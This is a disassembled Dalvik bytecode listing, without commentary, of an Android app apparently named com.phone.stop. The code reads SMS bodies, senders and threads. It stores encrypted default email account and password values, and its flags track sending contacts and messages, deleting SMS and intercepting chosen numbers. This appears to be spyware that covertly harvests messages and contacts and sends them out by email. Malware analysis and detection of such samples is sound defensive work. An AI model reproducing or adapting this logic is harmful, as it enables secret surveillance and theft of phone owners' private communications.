00000060  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000066  move-result-object      v3
00000068  new-instance            v1, ArrayList
0000006C  invoke-direct           ArrayList-><init>()V, v1
:72
00000072  invoke-interface        Cursor->moveToNext()Z, v3
00000078  move-result             v0
0000007A  if-nez                  v0, :82
:7E
0000007E  move-object             v0, v1
:80
00000080  return-object           v0
:82
00000082  const-string            v0, "person"
00000086  invoke-interface        Cursor->getColumnIndex(String)I, v3, v0
0000008C  move-result             v0
0000008E  const-string            v2, "address"
00000092  invoke-interface        Cursor->getColumnIndex(String)I, v3, v2
00000098  move-result             v2
0000009A  const-string            v4, "body"
0000009E  invoke-interface        Cursor->getColumnIndex(String)I, v3, v4
000000A4  move-result             v4
000000A6  const-string            v5, "date"
000000AA  invoke-interface        Cursor->getColumnIndex(String)I, v3, v5
000000B0  move-result             v5
000000B2  const-string            v6, "type"
000000B6  invoke-interface        Cursor->getColumnIndex(String)I, v3, v6
000000BC  move-result             v6
000000BE  const-string            v7, "thread_id"
000000C2  invoke-interface        Cursor->getColumnIndex(String)I, v3, v7
000000C8  move-result             v7
000000CA  invoke-interface        Cursor->getString(I)String, v3, v0
000000D0  move-result-object      v8
000000D2  invoke-interface        Cursor->getString(I)String, v3, v2
000000D8  move-result-object      v9
000000DA  invoke-interface        Cursor->getString(I)String, v3, v4
000000E0  move-result-object      v0
000000E2  invoke-interface        Cursor->getLong(I)J, v3, v5
000000E8  move-result-wide        v4
000000EA  invoke-interface        Cursor->getInt(I)I, v3, v6
000000F0  move-result             v2
000000F2  invoke-interface        Cursor->getInt(I)I, v3, v7
000000F8  move-result             v6
000000FA  new-instance            v7, a
000000FE  invoke-direct           a-><init>()V, v7
00000104  iput-object             v0, v7, a->c:String
00000108  int-to-long             v10, v6
0000010A  iput-wide               v10, v7, a->f:J
0000010E  iput                    v2, v7, a->e:I
00000112  iput-object             v8, v7, a->a:String
00000116  iput-object             v9, v7, a->b:String
0000011A  invoke-static           f->a(J)String, v4, v5
00000120  move-result-object      v0
00000122  iput-object             v0, v7, a->d:String
00000126  const/4                 v2, 0x1
00000128  invoke-virtual          ArrayList->iterator()Iterator, v1
0000012E  move-result-object      v4
:130
00000130  invoke-interface        Iterator->hasNext()Z, v4
00000136  move-result             v0
00000138  if-nez                  v0, :172
:13C
0000013C  move                    v0, v2
:13E
0000013E  if-eqz                  v0, :72
:142
00000142  new-instance            v0, b
00000146  invoke-direct           b-><init>()V, v0
0000014C  int-to-long             v4, v6
0000014E  iput-wide               v4, v0, b->a:J
00000152  iget-object             v2, v0, b->d:ArrayList
00000156  invoke-virtual          ArrayList->add(Object)Z, v2, v7
0000015C  iput-object             v8, v0, b->b:String
00000160  iput-object             v9, v0, b->c:String
00000164  invoke-virtual          ArrayList->add(Object)Z, v1, v0
0000016A  goto                    :72
:16C
0000016C  move-exception          v0
0000016E  const/4                 v0, 0x0
00000170  goto                    :80
:172
00000172  invoke-interface        Iterator->next()Object, v4
00000178  move-result-object      v0
0000017A  check-cast              v0, b
0000017E  int-to-long             v10, v6
00000180  iget-wide               v12, v0, b->a:J
00000184  cmp-long                v5, v10, v12
00000188  if-nez                  v5, :130
:18C
0000018C  iget-object             v2, v0, b->d:ArrayList
00000190  invoke-virtual          ArrayList->add(Object)Z, v2, v7
00000196  iput-object             v8, v0, b->b:String
0000019A  iput-object             v9, v0, b->c:String
:19E
0000019E  const/4                 v0, 0x0
000001A0  goto                    :13E
          .catch Exception {:0 .. :19E} :16C
.end method

#--------------------------------------------------------------------------------
.class public i
.super Object
.source ""

.method public static a(Context)V
          .registers 3
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v0
00000008  invoke-virtual          a->d()Z, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-static           a->a(Context)a, p0
0000001C  move-result-object      v0
0000001E  invoke-virtual          a->c()String, v0
00000024  move-result-object      v0
00000026  invoke-static           g->a(String)String, v0
0000002C  move-result-object      v0
0000002E  invoke-static           a->a(Context)a, p0
00000034  move-result-object      v1
00000036  invoke-virtual          a->b(String)V, v1, v0
0000003C  invoke-static           a->a(Context)a, p0
00000042  move-result-object      v0
00000044  const/4                 v1, 0x1
00000046  invoke-virtual          a->b(Z)V, v0, v1
0000004C  goto                    :14
.end method

.method public static b(Context)V
          .registers 3
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v0
00000008  invoke-virtual          a->o()Z, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-static           a->a(Context)a, p0
0000001C  move-result-object      v0
0000001E  invoke-virtual          a->n()String, v0
00000024  move-result-object      v0
00000026  invoke-static           g->a(String)String, v0
0000002C  move-result-object      v0
0000002E  invoke-static           a->a(Context)a, p0
00000034  move-result-object      v1
00000036  invoke-virtual          a->d(String)V, v1, v0
0000003C  invoke-static           a->a(Context)a, p0
00000042  move-result-object      v0
00000044  const/4                 v1, 0x1
00000046  invoke-virtual          a->h(Z)V, v0, v1
0000004C  goto                    :14
.end method

.method public static c(Context)V
          .registers 3
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v0
00000008  invoke-virtual          a->q()Z, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-static           a->a(Context)a, p0
0000001C  move-result-object      v0
0000001E  invoke-virtual          a->p()String, v0
00000024  move-result-object      v0
00000026  invoke-static           g->a(String)String, v0
0000002C  move-result-object      v0
0000002E  invoke-static           a->a(Context)a, p0
00000034  move-result-object      v1
00000036  invoke-virtual          a->e(String)V, v1, v0
0000003C  invoke-static           a->a(Context)a, p0
00000042  move-result-object      v0
00000044  const/4                 v1, 0x1
00000046  invoke-virtual          a->i(Z)V, v0, v1
0000004C  goto                    :14
.end method

.method public static d(Context)V
          .registers 3
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v0
00000008  invoke-virtual          a->s()Z, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-static           a->a(Context)a, p0
0000001C  move-result-object      v0
0000001E  invoke-virtual          a->r()String, v0
00000024  move-result-object      v0
00000026  invoke-static           g->a(String)String, v0
0000002C  move-result-object      v0
0000002E  invoke-static           a->a(Context)a, p0
00000034  move-result-object      v1
00000036  invoke-virtual          a->f(String)V, v1, v0
0000003C  invoke-static           a->a(Context)a, p0
00000042  move-result-object      v0
00000044  const/4                 v1, 0x1
00000046  invoke-virtual          a->j(Z)V, v0, v1
0000004C  goto                    :14
.end method

.method public static e(Context)V
          .registers 3
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v0
00000008  invoke-virtual          a->f()Z, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-static           a->a(Context)a, p0
0000001C  move-result-object      v0
0000001E  invoke-virtual          a->e()String, v0
00000024  move-result-object      v0
00000026  invoke-static           g->a(String)String, v0
0000002C  move-result-object      v0
0000002E  invoke-static           a->a(Context)a, p0
00000034  move-result-object      v1
00000036  invoke-virtual          a->c(String)V, v1, v0
0000003C  invoke-static           a->a(Context)a, p0
00000042  move-result-object      v0
00000044  const/4                 v1, 0x1
00000046  invoke-virtual          a->c(Z)V, v0, v1
0000004C  goto                    :14
.end method

#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""

.field public a:String
.field public b:String
.field public c:String
.field public d:String
.field public e:I
.field public f:J

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public b
.super Object
.source ""

.field public a:J
.field public b:String
.field public c:String
.field public d:ArrayList

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, ArrayList
0000000A  invoke-direct           ArrayList-><init>()V, v0
00000010  iput-object             v0, p0, b->d:ArrayList
00000014  return-void
.end method

#--------------------------------------------------------------------------------
.class public c
.super Object
.source ""

.field public a:J
.field public b:String
.field public c:String

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const-string            v0, ""
0000000A  iput-object             v0, p0, c->c:String
0000000E  return-void
.end method

#--------------------------------------------------------------------------------
.class public PhoneApplication
.super Application
.source ""

.field private static a:PhoneApplication

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Application-><init>()V, p0
00000006  return-void
.end method

.method public static a()PhoneApplication
          .registers 1
00000000  sget-object             v0, PhoneApplication->a:PhoneApplication
00000004  return-object           v0
.end method

.method private b()V
          .registers 1
00000000  return-void
.end method

.method public onCreate()V
          .registers 1
00000000  invoke-super            Application->onCreate()V, p0
00000006  sput-object             p0, PhoneApplication->a:PhoneApplication
0000000A  invoke-direct           PhoneApplication->b()V, p0
00000010  return-void
.end method

#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""

.field private static a:a
.field private b:SharedPreferences

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, a->a:a
00000006  return-void
.end method

.method private constructor <init>(Context)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const-string            v0, "configurations_data"
0000000A  const/4                 v1, 0x0
0000000C  invoke-virtual          Context->getSharedPreferences(String, I)SharedPreferences, p1, v0, v1
00000012  move-result-object      v0
00000014  iput-object             v0, p0, a->b:SharedPreferences
00000018  return-void
.end method

.method public static a(Context)a
          .registers 2
00000000  sget-object             v0, a->a:a
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, a
0000000C  invoke-direct           a-><init>(Context)V, v0, p0
00000012  sput-object             v0, a->a:a
:16
00000016  sget-object             v0, a->a:a
0000001A  return-object           v0
.end method

.method public a(I)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "app_intercept_type"
00000010  invoke-interface        SharedPreferences$Editor->putInt(String, I)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public a(String)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "last_delete_sms_time"
00000010  invoke-interface        SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public a(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "have_app_jihuo"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public a()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "have_app_jihuo"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public b()String
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "last_delete_sms_time"
00000008  const-string            v2, "000000000"
0000000C  invoke-interface        SharedPreferences->getString(String, String)String, v0, v1, v2
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public b(String)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "i_want_xxoo"
00000010  invoke-interface        SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public b(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "have_init_phone_number"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public c()String
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "i_want_xxoo"
00000008  const-string            v2, "6e41a0cbe696cbba11e054013b6a0b04"
0000000C  invoke-interface        SharedPreferences->getString(String, String)String, v0, v1, v2
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public c(String)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "app_end_time"
00000010  invoke-interface        SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public c(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "is_init_end_time"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public d(String)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "send_email_account"
00000010  invoke-interface        SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public d(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_delete_message"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public d()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "have_init_phone_number"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public e()String
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "app_end_time"
00000008  const-string            v2, "f836c71f8d6fa6d0957f3215d8b6f13fcef7f91916798b69"
0000000C  invoke-interface        SharedPreferences->getString(String, String)String, v0, v1, v2
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public e(String)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "receive_email_account"
00000010  invoke-interface        SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public e(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_send_phone_info"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public f(String)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "send_email_pwd"
00000010  invoke-interface        SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public f(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_send_contacts"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public f()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "is_init_end_time"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public g()I
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "app_intercept_type"
00000008  const/4                 v2, 0x1
0000000A  invoke-interface        SharedPreferences->getInt(String, I)I, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public g(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_send_message"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public h(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_set_send_email_account"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public h()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_delete_message"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public i(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_set_receive_email_account"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public i()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_send_phone_info"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public j(Z)V
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  invoke-interface        SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "has_set_send_email_pwd"
00000010  invoke-interface        SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016  invoke-interface        SharedPreferences$Editor->commit()Z, v0
0000001C  return-void
.end method

.method public j()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "email_message_contacts_switch"
00000008  const/4                 v2, 0x1
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public k()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "send_email_message_switch"
00000008  const/4                 v2, 0x1
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public l()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_send_contacts"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public m()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_send_message"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public n()String
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "send_email_account"
00000008  const-string            v2, "6e41a0cbe696cbba888fab77590ed57b42c4667d5d21f62b"
0000000C  invoke-interface        SharedPreferences->getString(String, String)String, v0, v1, v2
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public o()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_set_send_email_account"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public p()String
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "receive_email_account"
00000008  const-string            v2, "6e41a0cbe696cbba888fab77590ed57b42c4667d5d21f62b"
0000000C  invoke-interface        SharedPreferences->getString(String, String)String, v0, v1, v2
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public q()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_set_receive_email_account"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

.method public r()String
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "send_email_pwd"
00000008  const-string            v2, "776b7b3f260cef5eb80c596c8c9d094ed0c3804faf7f793c"
0000000C  invoke-interface        SharedPreferences->getString(String, String)String, v0, v1, v2
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public s()Z
          .registers 4
00000000  iget-object             v0, p0, a->b:SharedPreferences
00000004  const-string            v1, "has_set_send_email_pwd"
00000008  const/4                 v2, 0x0
0000000A  invoke-interface        SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010  move-result             v0
00000012  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public a
.super SQLiteOpenHelper
.source ""

.field private static a:a
.field private static b:SQLiteDatabase

.method private constructor <init>(Context)V
          .registers 5
00000000  const-string            v0, "phone_database"
00000004  const/4                 v1, 0x0
00000006  const/4                 v2, 0x1
00000008  invoke-direct           SQLiteOpenHelper-><init>(Context, String, SQLiteDatabase$CursorFactory, I)V, p0, p1, v0, v1, v2
0000000E  return-void
.end method

.method public static final declared-synchronized a(Context)a
          .registers 3
00000000  const-class             v1, a
00000004  monitor-enter           v1
:6
00000006  sget-object             v0, a->a:a
0000000A  if-nez                  v0, :1C
:E
0000000E  new-instance            v0, a
00000012  invoke-direct           a-><init>(Context)V, v0, p0
00000018  sput-object             v0, a->a:a
:1C
0000001C  sget-object             v0, a->a:a
:20
00000020  monitor-exit            v1
00000022  return-object           v0
:24
00000024  move-exception          v0
00000026  monitor-exit            v1
00000028  throw                   v0
          .catchall {:6 .. :20} :24
.end method

.method private a(SQLiteDatabase)V
          .registers 3
00000000  const-string            v0, "CREATE  TABLE IF NOT EXISTS intercept_person( \'id\' INTEGER PRIMARY KEY AUTOINCREMENT, \'modified_time\' DATETIME DEFAULT (null), \'created_time\' DATETIME, \'number\' VARCHAR(40), \'name\' VARCHAR(40))"
00000004  invoke-virtual          SQLiteDatabase->execSQL(String)V, p1, v0
0000000A  return-void
.end method

.method public getReadableDatabase()SQLiteDatabase
          .registers 4
00000000  sget-object             v0, a->b:SQLiteDatabase
00000004  if-eqz                  v0, :18
:8
00000008  sget-object             v0, a->b:SQLiteDatabase
0000000C  invoke-virtual          SQLiteDatabase->isOpen()Z, v0
00000012  move-result             v0
00000014  if-nez                  v0, :24
:18
00000018  invoke-super            SQLiteOpenHelper->getWritableDatabase()SQLiteDatabase, p0
0000001E  move-result-object      v0
00000020  sput-object             v0, a->b:SQLiteDatabase
:24
00000024  sget-object             v0, a->b:SQLiteDatabase
00000028  return-object           v0
:2A
0000002A  move-exception          v0
0000002C  const-string            v0, "/data/data/com.phone.stop/databases/phone_database"
00000030  const/4                 v1, 0x0
00000032  const/4                 v2, 0x0
00000034  invoke-static           SQLiteDatabase->openDatabase(String, SQLiteDatabase$CursorFactory, I)SQLiteDatabase, v0, v1, v2
0000003A  move-result-object      v0
0000003C  sput-object             v0, a->b:SQLiteDatabase
00000040  goto                    :24
          .catch Exception {:18 .. :24} :2A
.end method

.method public getWritableDatabase()SQLiteDatabase
          .registers 4
00000000  sget-object             v0, a->b:SQLiteDatabase
00000004  if-eqz                  v0, :18
:8
00000008  sget-object             v0, a->b:SQLiteDatabase
0000000C  invoke-virtual          SQLiteDatabase->isOpen()Z, v0
00000012  move-result             v0
00000014  if-nez                  v0, :24
:18
00000018  invoke-super            SQLiteOpenHelper->getWritableDatabase()SQLiteDatabase, p0
0000001E  move-result-object      v0
00000020  sput-object             v0, a->b:SQLiteDatabase
:24
00000024  sget-object             v0, a->b:SQLiteDatabase
00000028  return-object           v0
:2A
0000002A  move-exception          v0
0000002C  const-string            v0, "/data/data/com.phone.stop/databases/phone_database"
00000030  const/4                 v1, 0x0
00000032  const/4                 v2, 0x0
00000034  invoke-static           SQLiteDatabase->openDatabase(String, SQLiteDatabase$CursorFactory, I)SQLiteDatabase, v0, v1, v2
0000003A  move-result-object      v0
0000003C  sput-object             v0, a->b:SQLiteDatabase
00000040  goto                    :24
          .catch Exception {:18 .. :24} :2A
.end method

.method public onCreate(SQLiteDatabase)V
          .registers 2
00000000  invoke-direct           a->a(SQLiteDatabase)V, p0, p1
00000006  return-void
.end method

.method public onUpgrade(SQLiteDatabase, I, I)V
          .registers 4
00000000  packed-switch           p2, :8
:6
00000006  return-void
00000008  .packed-switch 0x1
              :6
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public b
.super Object
.source ""

.method private static a(Cursor)V
          .registers 2
00000000  invoke-interface        Cursor->close()V, p0
:6
00000006  return-void
:8
00000008  move-exception          v0
0000000A  goto                    :6
          .catch Exception {:0 .. :6} :8
.end method

.method public static a()Z
          .registers 3
00000000  const/4                 v2, 0x0
00000002  invoke-static           PhoneApplication->a()PhoneApplication
00000008  move-result-object      v0
0000000A  invoke-static           a->a(Context)a, v0
00000010  move-result-object      v0
00000012  invoke-virtual          a->getWritableDatabase()SQLiteDatabase, v0
00000018  move-result-object      v0
0000001A  const-string            v1, "intercept_person"
0000001E  invoke-virtual          SQLiteDatabase->delete(String, String, [String)I, v0, v1, v2, v2
00000024  move-result             v0
00000026  if-gez                  v0, :2E
:2A
0000002A  const/4                 v0, 0x0
:2C
0000002C  return                  v0
:2E
0000002E  const/4                 v0, 0x1
00000030  goto                    :2C
.end method

.method public static a(c)Z
          .registers 5
00000000  invoke-static           PhoneApplication->a()PhoneApplication
00000006  move-result-object      v0
00000008  invoke-static           a->a(Context)a, v0
0000000E  move-result-object      v0
00000010  invoke-virtual          a->getWritableDatabase()SQLiteDatabase, v0
00000016  move-result-object      v0
00000018  new-instance            v1, ContentValues
0000001C  invoke-direct           ContentValues-><init>()V, v1
00000022  const-string            v2, "number"
00000026  iget-object             v3, p0, c->c:String
0000002A  invoke-virtual          ContentValues->put(String, String)V, v1, v2, v3
00000030  const-string            v2, "name"
00000034  iget-object             v3, p0, c->b:String
00000038  invoke-virtual          ContentValues->put(String, String)V, v1, v2, v3
0000003E  const-string            v2, "created_time"
00000042  const-string            v3, "-"
00000046  invoke-static           f->a(String)String, v3
0000004C  move-result-object      v3
0000004E  invoke-virtual          ContentValues->put(String, String)V, v1, v2, v3
00000054  const-string            v2, "modified_time"
00000058  const-string            v3, "-"
0000005C  invoke-static           f->a(String)String, v3
00000062  move-result-object      v3
00000064  invoke-virtual          ContentValues->put(String, String)V, v1, v2, v3
0000006A  const-string            v2, "intercept_person"
0000006E  const/4                 v3, 0x0
00000070  invoke-virtual          SQLiteDatabase->insert(String, String, ContentValues)J, v0, v2, v3, v1
00000076  move-result-wide        v0
00000078  const-wide/16           v2, 0x0
0000007C  cmp-long                v0, v0, v2
00000080  if-gez                  v0, :88
:84
00000084  const/4                 v0, 0x0
:86
00000086  return                  v0
:88
00000088  const/4                 v0, 0x1
0000008A  goto                    :86
.end method

.method public static a(String)Z
          .registers 8
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  invoke-static           PhoneApplication->a()PhoneApplication
0000000A  move-result-object      v2
0000000C  invoke-static           a->a(Context)a, v2
00000012  move-result-object      v2
00000014  invoke-virtual          a->getWritableDatabase()SQLiteDatabase, v2
0000001A  move-result-object      v2
0000001C  const-string            v3, "intercept_person"
00000020  const-string            v4, "number=?"
00000024  new-array               v5, v1, [String
00000028  new-instance            v6, StringBuilder
0000002C  invoke-direct           StringBuilder-><init>()V, v6
00000032  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, p0
00000038  move-result-object      v6
